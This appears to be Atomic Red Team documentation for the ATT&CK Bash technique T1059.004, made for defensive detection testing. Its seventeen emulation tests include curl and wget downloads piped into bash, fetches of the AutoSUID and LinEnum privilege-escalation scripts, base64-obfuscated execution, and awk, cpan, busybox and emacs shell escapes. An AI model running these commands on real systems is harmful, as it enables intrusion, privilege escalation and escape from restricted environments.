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T1059.004 - Command and Scripting Interpreter: Bash

Description from ATT&CK

Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.

Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.

Atomic Tests


Atomic Test #1 - Create and Execute Bash Shell Script

Creates and executes a simple sh script.

Supported Platforms: Linux, macOS

auto_generated_guid: 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873

Inputs:

Name Description Type Default Value
script_path Script path path /tmp/art.sh
host Host to ping string 8.8.8.8

Attack Commands: Run with sh!

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

Cleanup Commands:

rm #{script_path}


Atomic Test #2 - Command-Line Interface

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in /tmp/art-fish.txt.

Supported Platforms: Linux, macOS

auto_generated_guid: d0c88567-803d-4dca-99b4-7ce65e7b257c

Attack Commands: Run with sh!

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

Cleanup Commands:

rm /tmp/art-fish.txt


Atomic Test #3 - Harvest SUID executable files

AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.

Supported Platforms: Linux

auto_generated_guid: 46274fc6-08a7-4956-861b-24cbbaa0503c

Inputs:

Name Description Type Default Value
autosuid Path to the autosuid shell script path PathToAtomicsFolder/T1059.004/src/AutoSUID.sh
autosuid_url Path to download autosuid shell script url https://raw.githubusercontent.com/IvanGlinkin/AutoSUID/main/AutoSUID.sh

Attack Commands: Run with sh!

chmod +x #{autosuid}
bash #{autosuid}

Cleanup Commands:

rm -rf #{autosuid}

Dependencies: Run with bash!

Description: AutoSUID must exist on disk at specified location (#{autosuid})
Check Prereq Commands:
if [ -f #{autosuid} ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
curl --create-dirs #{autosuid_url} --output #{autosuid}


Atomic Test #4 - LinEnum tool execution

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.

Supported Platforms: Linux

auto_generated_guid: a2b35a63-9df1-4806-9a4d-5fe0500845f2

Inputs:

Name Description Type Default Value
linenum Path to the LinEnum shell script path PathToAtomicsFolder/T1059.004/src/LinEnum.sh
linenum_url Path to download LinEnum shell script url https://raw.githubusercontent.com/rebootuser/LinEnum/c47f9b226d3ce2848629f25fe142c1b2986bc427/LinEnum.sh

Attack Commands: Run with sh!

chmod +x #{linenum}
bash #{linenum}

Cleanup Commands:

rm -rf #{linenum}

Dependencies: Run with bash!

Description: LinnEnum must exist on disk at specified location (#{linenum})
Check Prereq Commands:
if [ -f #{linenum} ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
curl --create-dirs #{linenum_url} --output #{linenum}


Atomic Test #5 - New script file in the tmp directory

An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed.

Supported Platforms: Linux

auto_generated_guid: 8cd1947b-4a54-41fb-b5ea-07d0ace04f81

Attack Commands: Run with sh!

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

Cleanup Commands:

rm $TMPFILE
unset TMPFILE


Atomic Test #6 - What shell is running

An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.

Supported Platforms: Linux

auto_generated_guid: 7b38e5cc-47be-44f0-a425-390305c76c17

Attack Commands: Run with sh!

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi


Atomic Test #7 - What shells are available

An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.

Supported Platforms: Linux

auto_generated_guid: bf23c7dc-1004-4949-8262-4c1d1ef87702

Attack Commands: Run with sh!

cat /etc/shells


Atomic Test #8 - Command line scripts

An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!

Supported Platforms: Linux

auto_generated_guid: b04ed73c-7d43-4dc8-b563-a2fc595cba1a

Attack Commands: Run with sh!

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done


Atomic Test #9 - Obfuscated command line scripts

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed.

Supported Platforms: Linux

auto_generated_guid: 5bec4cc8-f41e-437b-b417-33ff60acf9af

Attack Commands: Run with sh!

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART


Atomic Test #10 - Change login shell

An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.

Supported Platforms: Linux

auto_generated_guid: c7ac59cb-13cc-4622-81dc-6d2fee9bfac7

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

Cleanup Commands:

[ "$(uname)" = 'FreeBSD' ] && rmuser -y art || userdel art

Dependencies: Run with bash!

Description: chsh - change login shell, must be installed
Check Prereq Commands:
if [ -f /usr/bin/chsh ]; then echo "exit 0"; else echo "exit 1"; exit 1; fi
Get Prereq Commands:
echo "Automated installer not implemented yet, please install chsh manually"


Atomic Test #11 - Environment variable scripts

An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash

Supported Platforms: Linux

auto_generated_guid: bdaebd56-368b-4970-a523-f905ff4a8a51

Attack Commands: Run with sh!

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

Cleanup Commands:

unset ART


Atomic Test #12 - Detecting pipe-to-shell

An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first time without piping it to bash and the second piping it into bash which executes the echo command.

Supported Platforms: Linux

auto_generated_guid: fca246a8-a585-4f28-a2df-6495973976a1

Inputs:

Name Description Type Default Value
remote_url url of remote payload url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/pipe-to-shell.sh

Attack Commands: Run with sh!

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt

Cleanup Commands:

rm /tmp/art.txt

Dependencies: Run with bash!

Description: Check if curl is installed on the machine.
Check Prereq Commands:
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
Get Prereq Commands:
which apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl


Atomic Test #13 - Current kernel information enumeration

An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.

Supported Platforms: Linux

auto_generated_guid: 3a53734a-9e26-4f4b-ad15-059e767f5f14

Attack Commands: Run with sh!

uname -srm


Atomic Test #14 - Shell Creation using awk command

In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

Supported Platforms: Linux, macOS

auto_generated_guid: ee72b37d-b8f5-46a5-a9e7-0ff50035ffd5

Attack Commands: Run with sh!

awk 'BEGIN {system("/bin/sh &")}'


Atomic Test #15 - Creating shell using cpan command

cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/

Supported Platforms: Linux, macOS

auto_generated_guid: bcd4c2bc-490b-4f91-bd31-3709fe75bbdf

Attack Commands: Run with sh!

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan


Atomic Test #16 - Shell Creation using busybox command

BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/busybox/

Supported Platforms: Linux

auto_generated_guid: ab4d04af-68dc-4fee-9c16-6545265b3276

Attack Commands: Run with sh!

busybox sh &


Atomic Test #17 - emacs spawning an interactive system shell

emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/

Supported Platforms: Linux, macOS

auto_generated_guid: e0742e38-6efe-4dd4-ba5c-2078095b6156

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

Dependencies: Run with bash!

Description: Check if emacs is installed on the machine.
Check Prereq Commands:
if [ -x "$(command -v emacs)" ]; then echo "emacs is installed"; else echo "emacs is NOT installed"; exit 1; fi
Get Prereq Commands:
which apt && apt update && apt install -y emacs || which pkg && pkg update && pkg install -y emacs || which brew && brew update && brew install --quiet emacs